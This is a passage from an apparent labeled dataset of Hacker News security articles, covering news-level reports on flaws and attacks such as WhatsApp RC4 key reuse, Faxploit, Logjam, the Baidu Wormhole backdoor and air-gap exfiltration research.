WhatsApp adopts the same key for the incoming and the outgoing RC4 stream, ""we know that ciphertext byte i on the incoming stream xored with ciphertext byte i on the outgoing stream will be equal to xoring plaintext byte i on the incoming stream with plaintext byte i of the outgoing stream. By xoring this with either of the plaintext bytes, we can uncover the other byte.""

The technique doesn't directly reveal all bytes but works in many cases, another element that advantage the attacker is that messages follow the same structure and are easy to predict starting from the portion of plaintext that is disclosed.

The second issue related to the HMAC id more difficult to exploit, Alkemade said WhatsApp also uses the same HMAC key in both directions, another implementation error that puts messages at risk, but is more difficult to exploit.

The MAC is used to detect data alteration but it is not enough to detect all forms of tampering, the attacker potentially could manipulate any message.

""TLS counters this by including a sequence number in the plaintext of every message and by using a different key for the HMAC for messages from the server to the client and for messages from the client to the server. WhatsApp does not use such a sequence counter and it reuses the key used for RC4 for the HMAC.""

Alkemade is very critical to the development team of the popular platform:
""There are many pitfalls when developing a streaming encryption protocol. Considering they don't know how to use a xor correctly, maybe the WhatsApp developers should stop trying to do this themselves and accept the solution that has been reviewed, updated and fixed for more than 15 years, like TLS,"" he said.

I agree with the thinking of the researcher, security for applications such as WhatsApp is crucial given its level of penetration, it is true that the interest of the scientific community and cybercrime will surely lead them to discover new vulnerabilities to which WhatsApp have to provide a quick solution.

Alkemade confirmed that there is no remediation for the flaw in this moment, that's why he suggest to stop using WhatsApp until developers produce a patch.

Beware ... This is a very serious risk to your privacy!

",Vulnerability
Finally Google Chrome gets hacked at Pwn2Own,https://thehackernews.com/2012/03/finally-google-chrome-gets-hacked-at.html,"Finally Google Chrome gets hacked at Pwn2Own

Vupen Security and Sergey Glazunov independently managed to penetrate Google Chrome's security defenses at the Pwn2Own and 'Pwnium' contests respectively. The annual competition, which invites ethical hackers from around the world to attempt hacking into the most popular web browsers and in the process expose vulnerabilities and loopholes in the browser's security, while grabbing a handsome reward.

At this year's competition, the co-founder and head of research of Vupen, Chaouki Bekrar and his team managed to break into Google Chrome in less than 5 minutes, in the process quashing talks about the browser's unquestionable security. They used ""a pair of zero-day vulnerabilities to take complete control of a fully patched 64-bit Windows 7 (SP1) machine."" For the successful break-in, Vupen has won itself 32 points.

Google Chrome security knew that the Flash Player plugin sandbox is significantly weaker and that an exploit against Chrome's Flash Player would have to go through a certain path.Having figured out that Vupen used that technique (from the May video), Google decided to add a specific protection for Flash. The hack qualifies him for one of the top $60,000 prizes that are part of Google's $1 million Pwnium challenge, and could be the launch of a new security career.

VUPEN co-founder Chaouki Bekrar, an outspoken exploit writer who insisted the team deliberately targeted Chrome to prove a point, was uncharacteristically coy when asked if the faulty Chrome code came from Adobe.""It was a use-after-free vulnerability in the default installation of Chrome,"" he said. ""Our exploit worked against the default installation so it really doesn't matter if it's third-party code anyway."" Bekrar told, Zdnet reports.

IE 9 on Windows 7 was also hacked, again through a complicated hack that had to circumvent the browser's sandbox. Microsoft, however, may not respond so rapidly, as its quality testing procedure usually takes a few months to fix bugs like these.Safari on Mac OS X Snow Leopard, along with Firefox and IE 8 on Windows XP, was also hacked.

",Vulnerability
What is Strictly Enforced Verified Boot in Android 7.0 Nougat?,https://thehackernews.com/2016/07/android-verified-boot.html,"As far as security is concerned, Google is going very strict with the newest version of its mobile operating system.

Until now, Google has not done more than just alerting you of the potential threats when your Android device runs the check as part of the boot process.

Android Marshmallow 6.0 does nothing more than just warning you that your device has been compromised, though it continues to let your device boot up.

1. Android Nougat 7.0 Getting Strictly Enforced 'Verified Boot'

In Android Nougat, Google has taken the security of its Android operating system to the next level by strictly enforcing verified boot on devices.

Among multiple layers of security protection, Android uses verified boot - since Android version 4.4 KitKat - that improves its device's security by using cryptographic integrity checking to detect if your device has been tampered with.

Now, Android Nougat will strictly enforce the boot check, giving you far more than just a warning.

2. Android 7.0 Verified Boot Protects Device from Rootkits and Malware

Enforcing verified boot on a device is a good idea.

If any Android malware or rootkit made its way onto your Android device and made deep system changes to critical kernel files, your device will either start in a limited-use mode (presumably similar to safe mode) or refuse to start at all, protecting your data.

In addition to strict verified boot, Android Nougat also features forward error correction that is capable of repairing some errors on devices without any user input.

And, of course, Nexus devices will be the first to get these features.

This will prevent your Android device from becoming a playground for malware and viruses, at least after you restart it.

That sounds really great. Right?

3. If Modified, Corrupt or Tampered, It won't let your phone Boot
For most users the strict verified boot would be helpful, however, for some, it's bad news.

According to Google, some non-malicious corruption of data could cause Android devices to fail to boot up because verified boot process runs into issues that it can not correct.

This data corruption could be the result of some software flaws or hardware issues.
Here's what the Android Developer blog explains: ""This means that a device with a corrupt boot image or verified partition will not boot or will boot in a limited capacity with user consent. Such strict checking, though, means that non-malicious data corruption, which previously would be less visible, could now start affecting process functionality more.""
Since corrupted data may not always be malicious, even a single-byte error could prevent the device from booting.

However, Android Nougat brings additional code designed to protect against data corruption.
""In the changes we made to dm-verity for Android 7.0, we used a technique called interleaving to allow us to recover not only from a loss of an entire 4 KiB source block, reads the blog, ""but several consecutive blocks, while significantly reducing the space overhead required to achieve usable error correction capabilities compared to the naive implementation.""

4. Verified Boot Has Made It Harder to Root Android 7.0 Nougat

Like I said, data corruption could not always be due to malicious reasons.

Strictly enforcing verified boot could also make it tougher for you to tweak your Android Operating System (especially with locked bootloader) using custom ROMs, mods, and kernels.

Since this involves circumventing the locked bootloader, verified boot process will detect any changes, making it harder for users to play with their devices when Nougat rolls around.

The bottom line:

Enforcing strict verified boot in Android Nougat is a good idea, because most users root their devices with custom firmware but forget to take important security measures, which leaves their devices open to malicious software and rootkits.

What do you think of the additional security Google provides to the boot process in Android Nougat?

Let us know your views in the comments below!

",Malware
Email Phishers Using New Way to Bypass Microsoft Office 365 Protections,https://thehackernews.com/2018/08/microsoft-office365-phishing.html,"Phishing works no matter how hard a company tries to protect its customers or employees.

Security researchers have been warning of a new phishing attack that cybercriminals and email scammers are using in the wild to bypass the Advanced Threat Protection (ATP) mechanism implemented by widely used email services like Microsoft Office 365.

Microsoft Office 365 is an all-in-solution for users that offers several different online services, including Exchange Online, SharePoint Online, Lync Online and other Office Web Apps, like Word, Excel, PowerPoint, Outlook and OneNote.

On the top of these services, Microsoft also offers an artificial intelligence and machine learning powered security protection to help defend against potential phishing and other threats by going one level deep to scan the links in the email bodies to look for any blacklisted or suspicious domain.

But as I said, phishers always find a way to bypass security protections in order to victimize users.

Just over a month ago, the scammers were found using the ZeroFont technique to mimic a popular company and tricked users into giving away their personal and banking information.

In May 2018, cybercriminals had also been found splitting up the malicious URL in a way that the Safe Links security feature in Office 365 fails to identify and replace the partial hyperlink, eventually redirecting victims to the phishing site.

How SharePoint Phishing Attack Works?
These issues were then addressed by Microsoft at its end, but phishers have now been found using a new trick to bypass Office 365's built-in security protections and phish users—this time by inserting malicious links into SharePoint documents.

The same cloud security company Avanan, which discovered the two above-mentioned phishing attacks, uncovered a new phishing email campaign in the wild targeting Office 365 users, who are receiving emails from Microsoft containing a link to a SharePoint document.

The body of the email message looks identical to a standard SharePoint invitation from someone to collaborate. Once the user clicked the hyperlink in the email, the browser automatically opens a SharePoint file.

The content of the SharePoint file impersonates a standard access request to a OneDrive file, but an 'Access Document' button on the file is actually hyperlinked to a malicious URL, according to the researchers.

The malicious link then redirects the victim to a spoofed Office 365 login screen, asking the user to enter his/her login credentials, which are then harvested by hackers.
Microsoft scans the body of an email, including the links provided in it, but since the links in the latest email campaign lead to an actual SharePoint document, the company did not identify it as a threat.
""In order to identify this threat, Microsoft would have to scan links within shared documents for phishing URLs. This presents a clear vulnerability that hackers have taken advantage of to propagate phishing attacks,"" the researchers said.

""Even if Microsoft were to scan links within files, they would face another challenge: they could not blacklist the URL without blacklisting links to all SharePoint files. If they blacklisted the full URL of the Sharepoint file, the hackers could easily create a new URL.""
Therefore no protection would be able to alert users of phishing, until and unless they are not trained enough to detect such phishing attempts.
According to the cloud security company, this new phishing attack was leveraged against 10 percent of its Office 365 customers over the past two weeks, and the firm believes the same percentage applies to Office 365 users globally.

So, in order to protect yourself, you should be suspicious of the URLs in the email body if it uses URGENT or ACTION REQUIRED in the subject line, even if you are receiving emails that appear safe.

When presented a login page, you are recommended to always check the address bar in the web browser to know whether the URL is actually hosted by the legitimate service or not.

Most importantly, always use two-factor authentication (2FA), so even if attackers gain access to your password, they still need to struggle for the second authentication step.

However, researchers noted that if this attack would have involved links to trigger a malware download rather than directing users to a phishing page, ""the attack would have caused damage by the time the user clicked and investigated the URL.""

",Cyber_Attack
Backdoor in Baidu Android SDK Puts 100 Million Devices at Risk,https://thehackernews.com/2015/11/android-malware-backdoor.html,"The China's Google-like Search Engine Baidu is offering a software development kit (SDK) that contains functionality that can be abused to give backdoor-like access to a user's device, potentially exposing around 100 Million Android users to malicious hackers.

The SDK in question is Moplus, which may not be directly available to the public but has already made its way into more than 14,000 Android apps, of which around 4,000 are actually created by Baidu.

Overall, more than 100 Million Android users, who have downloaded these apps on their smartphones, are in danger.

Security researchers from Trend Micro have discovered a vulnerability in the Moplus SDK, called Wormhole, that allows attackers to launch an unsecured and unauthenticated HTTP server connection on affected devices, which works silently in the background, without the user's knowledge.

Also Read: More than 26 Android Phone Models Shipped with Pre-Installed Spyware

This unsecured server does not use authentication and can accept requests from anyone on the Internet. Though the server is controlled by the attacker, who can send requests to a particular port of this hidden HTTP server to execute malicious commands.

Malicious Functionalities of Wormhole

Currently, the researchers have identified that the SDK is using the port 6259 or 40310 to perform malicious activities on affected Android devices, which includes:
Send SMS messages
Make phone calls
Get mobile phone details
Add new contacts
Get a list of local apps
Download files on the device
Upload files from the device
Silently install other apps (if the phone is rooted)
Push Web pages
Get phone's geo-location, and many more
Since the SDK automatically installs the Web server when a Moplus SDK app is opened, hackers just need to scan a mobile network for port 6259 or 40310, thereby finding vulnerable devices they can abuse.

Also Read: Android Malware Can Spy On You Even When Your Mobile Is Off

Wormhole is More Dangerous than Stagefright

The vulnerability, according to researchers, is potentially easier to exploit than the Stagefright flaw, as Wormhole doesn't require social engineering to infect an unsuspecting user.

Trend Micro has also found at least one malware strain (detected as ANDROIDOS_WORMHOLE.HRXA) in the wild that takes advantage of Wormhole in Moplus SDK.

Researchers informed both Baidu as well as Google of the vulnerability.

As a result, Baidu has just pushed a partial fix for the problem by releasing a new version of the SDK that removed some of the SDK's functionality, but not all. The HTTP server remains online and active; however, Baidu assured its users that no backdoor exists now.

Must Read: Stagefright Bug 2.0 — One Billion Android SmartPhones Vulnerable to Hacking

This isn't the first time a Chinese company has caught distributing malicious SDK. Just a few days ago, the Taomike SDK – one of the biggest mobile ad solutions in China – was caught secretly spying on users' SMS messages and uploading them to a server in China.

The same malicious functionality was also discovered two weeks back in another SDK developed by Youmi; that affected 256 iOS apps, which were caught using private APIs to collect users private data. However, Apple eventually banned those apps from its App Store.

",Malware
Authentication Flaw in PayPal mobile API Allows Access to Blocked Accounts,https://thehackernews.com/2014/10/authentication-flaw-in-paypal-mobile.html,"Payment services provider PayPal is vulnerable to an authentication restriction bypass vulnerability, which could allow an attacker to bypass a filter or restriction of the online-service to get unauthorized access to a blocked users' PayPal account.

The security vulnerability actually resides in the mobile API authentication procedure of the PayPal online-service, which doesn't check for the blocked and restricted PayPal accounts.

HOW THE VULNERABILITY WORKS
In case if a PayPal user enters a wrong username or password combination several times in an effort to access the account, then for the security reasons, PayPal will restrict the user from opening or accessing his/her account on a computer until the answers to a number of security questions is provided.

However, if the same user, at the same time switches to a mobile device and tries accessing the temporarily closed PayPal account with the right credentials via an official PayPal mobile app client through the API, the user will get access to the account without providing any additional security detail.

WHAT WENT WRONG
""The client API checks only if the account exists, the API does not check a part- or full blocking of the account. It is possible for the blocked user to get access to his PayPal account and is able to make transactions and he can send money from the account,"" states the vulnerability disclosure document.
For some other security reasons, such as for preventing a fraudster from reaching illicitly obtained funds, PayPal could temporarily denied users to access their PayPal account. In such cases, a remote attacker could ""login through the mobile API with PayPal portal restriction to access account information or interact with the compromised account.""

REPORTED OVER ONE YEAR BUT STILL NO PATCH AVAILABLE
The critical vulnerability in PayPal was discovered about a year ago by Benjamin Kunz Mejri from Vulnerability Laboratory, and as a responsible researcher, he reported the flaw to the PayPal's team, but the fix for the vulnerability is still not available. Also no bug bounty has been paid to him for the discovery and responsible disclosure of the bug.

According to the vulnerability disclosure document, the authentication restriction bypass vulnerability in PayPal online service has been assigned a high CVSS (Common Vulnerability Scoring System) base score of 6.2, but no identifier has been assigned to the bug.

VIDEO DEMONSTRATION
A video demonstration of the vulnerability has also been published by the researcher, showing how he intentionally enters the wrong username several times in order to have his PayPal account blocked. After account blocked, the online payment service requests him to answer some security question in order to validate the user.

But, despite answering those questions, the researcher used his iOS device and entered the correct combination of username and password, which easily granted him access to his blocked account, allowing him to initiate financial transactions.

PRODUCTS AFFECTED
The vulnerability affects the iOS mobile application for both iPhone and iPad, as it fails to check for the restriction flags that would not allow access to the blocked or temporarily blocked account. According to the researcher, the version 4.6.0 of the iOS app is affected, and the flaw is also working on the latest version 5.8.

An eBay owned company, PayPal provides a faster and safer way to pay and get paid. The service gives people simpler ways to send money without sharing financial information, with over 148 million active accounts in 26 currencies and across 193 markets, thereby processing more than 9 million payments daily.

",Vulnerability
Volatile Cedar — Global Cyber Espionage Campaign Discovered,https://thehackernews.com/2015/05/volatile-cedar-global-cyber-espionage_29.html,"Security firm Check Point has uncovered what seems to be a successful, and long-running, cyber-surveillance campaign called ""Volatile Cedar."" Check Point found that targets of the attack included, but were not limited to, defense contractors, media companies, telecommunications, and educational institutions.

The attack is said to have originated in Lebanon and possibly has political ties in the region. According to an article in Techworld, previous cyber-campaigns originating from Lebanon have been either extremely unsophisticated or targeted at other countries in the region. However, Volatile Cedar is different.

According to the report, this campaign has been in operation since 2012 and has successfully penetrated a large number of targets across the globe. During this time it has allowed the attackers to steal data and monitor a large volume of victim's actions.

The actors involved in this campaign do not appear to be using flashy mechanisms like zero day attacks or complex malware but, instead, enter networks via vulnerable webservers. Once compromised, webservers are infected with a trojan called ""Explosive"" which allows them to carry out reconnaissance.

This custom-built piece of malware offers remote access, data exfiltration, key logging, as well as functionality to allow for lateral movements within the compromised network.

Another very interesting aspect of the Volatile Cedar campaign is how far the actors are willing to go to remain undetected, monitoring system resource consumption and antivirus detection results with the ""Explosive"" tool. It will even block external communications and obfuscate traffic to mask its activity.

How Volatile Cedar Impacts Your Organization
Attackers can take control of infected systems to steal data, log keystrokes, and even begin to move around in your network
The loss of data can lead to regulatory penalties, loss of business, litigation, etc.
Hosting malicious content could inadvertently associate your organization with criminal activity

How AlienVault Unified Security Management (USM) Can Help
AlienVault USM provides asset discovery, vulnerability assessment, threat detection (IDS), behavioral monitoring, SIEM, and threat intelligence from AlienVault Labs—all in a single console.

The AlienVault Labs team has already added several IDS signatures and a correlation rule to detect the C&C protocol generated by all the malware families used by the attackers behind Volatile Cedar:

System Compromise, Targeted Malware, Volatile Cedar
With AlienVault USM, you can scan your network to identify assets with the Volatile Cedar vulnerability, making it easy for you to identify systems that need to be patched and prioritize remediation.

Not only can AlienVault USM identify vulnerable systems, it can also help you detect attempted exploits of the vulnerability.

AlienVault USM also checks the IP information against the Open Threat Exchange (OTX), the largest crowd-sourced threat intelligence exchange. In the example below, you can see details from OTX on the reputation of an IP, including any malicious activities associated with it.

Learn more about AlienVault USM:
Download a free 30-day trial
Watch a demo on-demand
Play with USM in our product sandbox (no download required)

",Cyber_Attack
Lulzsec hackers to be sentenced for cyber attacks on the CIA and Pentagon,https://thehackernews.com/2013/05/lulzsec-hackers-to-be-sentenced-for.html,"Four men accused of launching online attacks under the banner of LulzSec appeared in a London courtroom Wednesday for sentencing. Ryan Ackroyd, Jake Davis, Mustafa al-Bassam and Ryan Cleary have all pleaded guilty to hacking offences.

The name Lulzsec is a combination of 'lulz' or 'lols', ""LAUGHING AT YOUR SECURITY"" meaning 'laugh out loud' and security, and was a direct descent of notorious hacking group Anonymous.
Working from their bedrooms in 2011, caused millions of pounds of damage with attacks on NHS, CIA and US military websites, they stole huge amounts of sensitive personal data including emails, online passwords and credit card details belonging to hundreds of thousands of people, Southwark Crown Court in London heard.

They also carried out distributed denial of service (DDoS) attacks on many institutions, crashing their websites. Ackroyd, 26, from Mexborough, South Yorkshire, has admitted stealing data from Sony.

To do it, they used a remotely controlled network of zombie computers, known as a ""botnet"", capable of being programmed to perform the attack. The botnet code was written by Cleary and the court heard it may have been using up to one million computers to carry out attacks via the Internet without their owners knowing about it.

The attacks led to sensitive personal information being leaked online, leaving victims open to fraud. They even attacked the US X Factor contestant data base.

Ackroyd had been expected to stand trial at Southwark Crown Court in April, but changed his plea to a key charge at the last minute. He is the last of four members of the online gang, whose victims included the Pentagon, the CIA, and the UK's Serious and Organised Crime Agency, to be convicted.

In addition to the hacking offences to which all four have pleaded guilty, Cleary alone has pleaded guilty to charges of downloading pornographic images of babies and children.

""It's clear from the evidence that they intended to achieve extensive national and international notoriety and publicity,"" said Prosecutor Sandip Patel.

Lulz only existed for a matter of months in 2011 but in that time it built up a huge international following, reaching 355,000 Twitter followers.

",Cyber_Attack
XLoader Windows InfoStealer Malware Now Upgraded to Attack macOS Systems,https://thehackernews.com/2021/07/xloader-windows-infostealer-malware-now.html,"A popular malware known for stealing sensitive information from Windows machines has evolved into a new strain capable of also targeting Apple's macOS operating system.
The upgraded malware, dubbed ""XLoader,"" is a successor to another well-known Windows-based info stealer called Formbook that's known to vacuum credentials from various web browsers, capture screenshots, record keystrokes, and download and execute files from attacker-controlled domains.
""For as low as $49 on the Darknet, hackers can buy licenses for the new malware, enabling capabilities to harvest log-in credentials, collect screenshots, log keystrokes, and execute malicious files,"" cybersecurity firm Check Point said in a report shared with The Hacker News.
Distributed via spoofed emails containing malicious Microsoft Office documents, XLoader is estimated to infected victims spanning across 69 countries between December 1, 2020, and June 1, 2021, with 53% of the infections reported in the U.S. alone, followed by China's special administrative regions (SAR), Mexico, Germany, and France.
While the very first Formbook samples were detected in the wild in January 2016, sale of the malware on underground forums stopped in October 2017, only to be resurrected more than two years later in the form of XLoader in February 2020.
In October 2020, the latter was advertised for sale on the same forum which was used for selling Formbook, Check Point said. Both Formbook and its XLoader derivative are said to share the same codebase, with the new variant incorporating substantial changes that lend it new capabilities for compromising macOS systems.
According to statistics released by Check Point earlier this January, Formbook was third among the most prevalent malware families in December 2020, impacting 4% of organizations worldwide. It's worth noting that the newly discovered XLoader malware for PC and Mac is not the same as XLoader for Android, which was first detected in April 2019.
""[XLoader] is far more mature and sophisticated than its predecessors, supporting different operating systems, specifically macOS computers,"" said Yaniv Balmas, head of cyber research at Check Point. ""Historically, macOS malware hasn't been that common. They usually fall into the category of 'spyware', not causing too much damage.""
""While there might be a gap between Windows and MacOS malware, the gap is slowly closing over time. The truth is that macOS malware is becoming bigger and more dangerous,"" Balmas noted, adding the findings ""are a perfect example and confirm this growing trend.""

",Malware
Corruption and Persistent Vulnerability in Skype 5.8 and 5.5 [Video POC],https://thehackernews.com/2012/03/corruption-and-persistent-vulnerability.html,"Corruption & Persistent Vulnerability in Skype 5.8 and 5.5

Ucha Gobejishvili ( longrifle0x ) Benjamin Kunz Mejri (Rem0ve)&Alexander Fuchs (f0x23), security Experts from The Vulnerability-Lab Team discovered a remote pointer corruption with persistent weakness on Skypes v5.8.0.156 Windows 7 & MacOS v5.5.2340. The security risk of the remote denial of service vulnerability via pointer corruption is estimated as high(-).

Skype is a software application that allows users to make voice and video calls and chats over the Internet. Calls to other users within theSkype service are free, while calls to both traditional landline telephones and mobile phones can be made for a fee using a debit-baseduser account system.

According to Expert, Vulnerability was reported to Vendor on 2012-02-24, and Vendor Fix/Patch by Check on 2012-03-20. Affected versions are Skype - Windows, MacOs & Linux v5.8.0.156, 5.5.0.2340, 2.2 Beta.

The exploitation method will work Remotely. A pointer corruption vulnerability is detected on the windows v5.6.59.10 & macos v5.5.2340 client of the skype software.The bug is located in the software when processing special crafted symbole messages via communication box. The vulnerabilityallows an attacker to freeze, block, crash or destroy the communication messagebox of the connected conference persons/teams.

The bug also has an persistent weakness vector which allows an remote attacker to implement the symbole string to the contactuser requests messagebox. The result is also a stable persistent error message and a client denial of service. Attackers canalso implement the test poc to the group labelname which results in a stable group error with different exceptions.

The facebook integration allows to sync the account with skype and can also redisplay the issue with the error via facebook module and wallposting.The callto function allows an attacker to implement the issue persistent on a victim user profile by using the symbole string as nickname.

Vulnerable Modules are MessageBox & Request Contact, Contact Request Messagebox - Add Skype User, Group Topic & Group Information Name and Facebook integration - Connect Account Wall Postings.

For more security, Please Update to Skype v5.8.0.158.

",Vulnerability
WARNING: A New Android Zero-Day Vulnerability Is Under Active Attack,https://thehackernews.com/2021/03/warning-new-android-zero-day.html,"Google has disclosed that a now-patched vulnerability affecting Android devices that use Qualcomm chipsets is being weaponized by adversaries to launch targeted attacks.
Tracked as CVE-2020-11261 (CVSS score 8.4), the flaw concerns an ""improper input validation"" issue in Qualcomm's Graphics component that could be exploited to trigger memory corruption when an attacker-engineered app requests access to a huge chunk of the device's memory.
""There are indications that CVE-2020-11261 may be under limited, targeted exploitation,"" the search giant said in an updated January security bulletin on March 18.
CVE-2020-11261 was discovered and reported to Qualcomm by Google's Android Security team on July 20, 2020, after which it was fixed in January 2021.
It's worth noting that the access vector for the vulnerability is ""local,"" meaning that exploitation requires local access to the device. In other words, to launch a successful attack, the bad actor must either have physical access to the vulnerable smartphone or use other means - e.g., a watering hole - to deliver malicious code and set off the attack chain.
While specifics about the attacks, the identity of the attacker, and the targeted victims have not been released, it is not unusual for Google to withhold sharing such information to prevent other threat actors from taking advantage of the vulnerability.
If anything, the development once again underscores the need to promptly install monthly security updates as soon as they are available to prevent Android devices from being exploited. We've reached out to Google for comment and will update this article if we hear back.

",Cyber_Attack
Hackers can compromise your network just by sending a Fax,https://thehackernews.com/2018/08/hack-printer-fax-machine.html,"What maximum a remote attacker can do just by having your Fax machine number?

Believe it or not, but your fax number is literally enough for a hacker to gain complete control over the printer and possibly infiltrate the rest of the network connected to it.

Check Point researchers have revealed details of two critical remote code execution (RCE) vulnerabilities they discovered in the communication protocols used in tens of millions of fax machines globally.

You might be thinking who uses Fax these days!

Well, Fax is not a thing of the past. With more than 300 million fax numbers and 45 million fax machines in use globally, Fax is still popular among several business organizations, regulators, lawyers, bankers, and real estate firms.

Since most fax machines are today integrated into all-in-one printers, connected to a WiFi network and PSTN phone line, a remote attacker can simply send a specially-crafted image file via fax to exploit the reported vulnerabilities and seize control of an enterprise or home network.

All the attacker needs to exploit these vulnerabilities is a Fax number, which can be easily found simply by browsing a corporate website or requesting it directly.

Faxploit Attack — Demonstration Video
Dubbed Faxploit, the attack involves two buffer overflow vulnerabilities—one triggers while parsing COM markers (CVE-2018-5925) and another stack-based issue occurs while parsing DHT markers (CVE-2018-5924), which leads to remote code execution.

To demonstrate the attack, Check Point Malware Research Team Lead Yaniv Balmas and security researcher Eyal Itkin used the popular HP Officejet Pro All-in-One fax printers—the HP Officejet Pro 6830 all-in-one printer and OfficeJet Pro 8720.

As shown in the above video, the researchers send an image file loaded with malicious payload through the phone line, and as soon as the fax machine receives it, the image is decoded and uploaded into the fax-printer's memory.

In their case, the researchers used NSA-developed EternalBlue and Double Pulsar exploits, which was leaked by the Shadow Brokers group and was behind the WannaCry ransomware global outcry last year, to take over the connected machine and further spread the malicious code through the network.

""Using nothing but a phone line, we were able to send a fax that could take full control over the printer, and later spread our payload inside the computer network accessible to the printer,"" the researcher said in a detailed blog post published today.

""We believe that this security risk should be given special attention by the community, changing the way that modern network architectures treat network printers and fax machines.""

According to the Check Point researchers, attackers can code the image file with malware including ransomware, cryptocurrency miners, or surveillance tools, depending upon their targets of interest and motives.

Check Point researchers responsibly disclosed their findings to Hewlett Packard, which quickly fixed the flaws in its all-in-one printers and deployed firmware patches in response. A patch is available on HP's support page.

However, the researchers believe the same vulnerabilities could also impact most fax-based all-in-one printers sold by other manufacturers and other fax implementation, such as fax-to-mail services, standalone fax machines, and more.

",Cyber_Attack
LogJam — This New Encryption Glitch Puts Internet Users at Risk,https://thehackernews.com/2015/05/logjan-ssl-vulnerability.html,"After HeartBleed, POODLE and FREAK encryption flaws, a new encryption attack has been emerged over the Internet that allows attackers to read and modify the sensitive data passing through encrypted connections, potentially affecting hundreds of thousands of HTTPS-protected sites, mail servers, and other widely used Internet services.

A team of security researchers has discovered a new attack, dubbed Logjam, that allows a man-in-the-middle (MitM) to downgrade encrypted connections between a user and a Web or email server to use extremely weaker 512-bit keys which can be easily decrypted.

Johns Hopkins crypto researcher Matthew Green along with security experts from the University of Michigan and the French research institute Inria has discovered LogJam a few months ago and published a technical report that details the flaw.

Logjam — Cousin of FREAK

Logjam encryption flaw sounds just like FREAK vulnerability disclosed at the beginning of March.

The FREAK encryption-downgrade attack allows attackers to force SSL/TLS clients, including OpenSSL, to weaken ciphers over the web so that they can easily decrypt the intercepted HTTPS connections.

Freak is an implementation flaw, but Logjam is due to a flaw in the basic design of the transport layer security (TLS) protocol itself, making all web browsers and some mail servers that use TLS to establish secure connections with end-users vulnerable.

Logjam can be exploited on a subset of servers that support the widely used cryptographic algorithm called the ""Diffie-Hellman key exchange,"" which allows protocols like HTTPS, SSH, SMTPS, IPsec to negotiate a secret key and create a secure connection.

Reasons to worry about Logjam vulnerability:
The flaw allows an attacker to trick a web browser into believing that it is using a regular key, not the export key version.
Many PCs reuse the same large numbers to generate the keys, which makes them easier for attackers to crack.
The flaw has been present for more than 20 years affecting HTTPS, SSH, IPsec, SMTPS, and other protocols that rely on TLS.

The flaw affects any server supporting DHE_EXPORT ciphers and all modern browsers. An estimated 8.4 percent of the top one Million sites and a significant percentage of mail servers are vulnerable to the new vulnerability because they support those export keys.

90s WEAK EXPORT-GRADE ENCRYPTION

Like Freak, Logjam is another exploit that takes advantage of legacy encryption standards imposed by the U.S. government in the 1990s-era on US developers who wanted their software products to be used abroad.

The regime was standardized by the Clinton administration so that the Federal Bureau of Investigation (FBI) and other US intelligence agencies like NSA (National Security Agency) could easily break the encryption used by foreign entities.
""To comply with 1990s-era U.S. export restrictions on cryptography, SSL 3.0 and TLS 1.0 supported reduced-strength DHE_EXPORT cipher suites that were restricted to primes no longer than 512 bits,"" reads the paper.
Let's revisit Snowden Leaks:

A large bunch of NSA confidential documents leaked by former NSA employee Edward Snowden revealed the Global mass surveillance programs, including the mass crypto attacks carried out by the agency but the documents didn't mention how they actually made it possible.
I think disclosure of Logjam attack made it somewhat clear that how the NSA with large amounts of computing power would have been able to break even the stronger encryption that uses the widely used algorithm.

""A close reading of published NSA leaks shows that the agency's attacks on VPNs are consistent with having achieved such a break,"" the paper notes.

Check Now! If Yor are Vulnerable to Logjam

You can check whether your browser is vulnerable by clicking here. At the time of writing, some major browsers are still vulnerable to the Logjam attack. However, Google security team is already working to increase the SSL requirement in Chrome to 1024 bit.

How to Protect Yourself?

Security researchers recommended all server administrators to disable support for the export-grade (DHE_EXPORT) cipher suites that allow Diffie-Hellman connections to be downgraded, and generate a new and unique 2048-bit Diffie-Hellman group.

The researchers who discovered the flaw have also provided a detailed guide with step-by-step instructions for securely deploying Diffie-Hellman for TLS, as well as more technical details of the vulnerability on their website.

Moreover, users are strongly encouraged to install browser and e-mail client upgrades as soon as they arrive. Also, developers should use the latest libraries and reject Diffie-Hellman groups shorter than 1024 bits.

",Vulnerability
Hackers Can Now Steal Data Even From Faraday Cage Air-Gapped Computers,https://thehackernews.com/2018/02/airgap-computer-hacking.html,"A team of security researchers—which majorly focuses on finding clever ways to get into air-gapped computers by exploiting little-noticed emissions of a computer's components like light, sound and heat—have published another research showcasing that they can steal data not only from an air gap computer but also from a computer inside a Faraday cage.

Air-gapped computers are those that are isolated from the Internet and local networks and so, are believed to be the most secure devices that are difficult to infiltrate.

Whereas, Faraday cages are metallic enclosures that even blocks all electromagnetic signals, such as Wi-Fi, Bluetooth, cellular and other wireless communications, making any device kept inside the cage, even more, isolate from outside networks.

However, Cybersecurity Research Center at Israel's Ben Gurion University, directed by 38-year-old Mordechai Guri, has developed two techniques that helped them exfiltrate data from computers placed inside a Faraday cage.

Dubbed MAGNETO [pdf] and ODINI [pdf], both the techniques make use of proof-of-concept (PoC) malware installed on an air-gapped computer inside the Faraday cage to control the ""magnetic fields emanating from the computer by regulating workloads on the CPU cores"" and use it to transmit data stealthily.
""Everyone was talking about breaking the air gap to get in, but no one was talking about getting the information out,"" Guri says. ""That opened the gate to all this research, to break the paradigm that there's a hermetic seal around air-gapped networks.""
According to the researcher, once a computer (no matter if it is air-gapped or inside a Faraday cage) has been infected, hackers can exfiltrate stolen data without needing to wait for another traditional connection to the infected machine.

How MAGNETO & ODINI Attacks Work:

Once a motivated attacker somehow succeeded in planting malware on an air-gapped computer, the malware then collects small pieces of information, like keylogging data, encryption keys, credential tokens, and passwords.

Also Read: CIA developed Malware for Hacking Air-Gapped Networks.

The PoC malware developed by the team then electrically generates a pattern of magnetic field frequencies by regulating CPU's workload, which can be achieved by overloading the CPU with calculations that increase power consumption and generate a stronger magnetic field.

These electromagnetic (acoustic, optical and thermal) emissions from the infected computer are powerful enough to carry a small stream of stolen data to a nearby device, a receiver planted by the hacker.

The process involves translating data first into binary, i.e. 0 and 1, and the transmitting it into morse-code-like patterns in accordance with electromagnetic emission.
""The transmitting program leaves only a small footprint in the memory, making its presence easier to hide from AVs. At the OS level, the transmitting program requires no special or elevated privileges (e.g., root or admin), and hence can be initiated from an ordinary userspace process,"" the paper reads.
""The transmitting code mainly consists of basic CPU operations such as busy loops, which do not expose malicious behaviors, making it highly evasive from automated analysis tools.""
Also Read: Stealing Data from Air-Gapped Computers Using CCTV Cameras

While both MAGNETO and ODINI attacks are designed to exfiltrate data from a secured computer using electromagnetic emissions, the only difference between the two is:

